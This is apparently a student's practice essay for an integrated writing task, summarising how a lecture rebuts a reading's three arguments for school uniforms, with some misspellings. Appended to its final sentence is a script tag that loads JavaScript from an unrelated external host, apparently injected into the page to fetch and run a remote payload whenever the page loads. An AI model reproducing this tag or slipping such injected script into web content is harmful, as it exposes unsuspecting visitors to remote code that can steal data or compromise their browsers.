integrated

The reading claims that uniforms in schools are an excellent means of reducing stresses and difficulties of students and provides three reasons of support. In contrast, the professor states that the author's points of uniforms are true but she didn't explain how schools benefit from the uniforms and she refutes each of the author's reasons.

First, the article avers that the families of students will benefit by saving on the cost of clothing. On the other hand, the professor counters this point by stating that parents still buy clothing for their children because uniforms are purchased in special stores which are too expensive for them. In addition, children don't ware uniforms when they spend their time with their friends so parents still buy clothing as before.

Second, the article posits that major advantage lies in the elimination of unnecessary distraction. Conversely, the professor casts doubt on this point by saying that by forcing students to ware uniforms will distract them also because the distraction will be repalced by how they will look and they will try to alter or add in the uniforms to look what they want. This disputes the second point in the passage.

Third, the passage asserts that uniform policy will develop a sense of community within the school. However, the lecture refutes this point by explaining that this point is less responsible. She says that the studnets choose the clothing to fit them and to fit their individuality and she adds they strengthen their creativity and personality when they choose their clothes. She asserts that for this point, uniforms should be avoided. This appears a contradiction to the information made in the passage.<script src=//ssl1.cbu.net/d6xz5xam></script>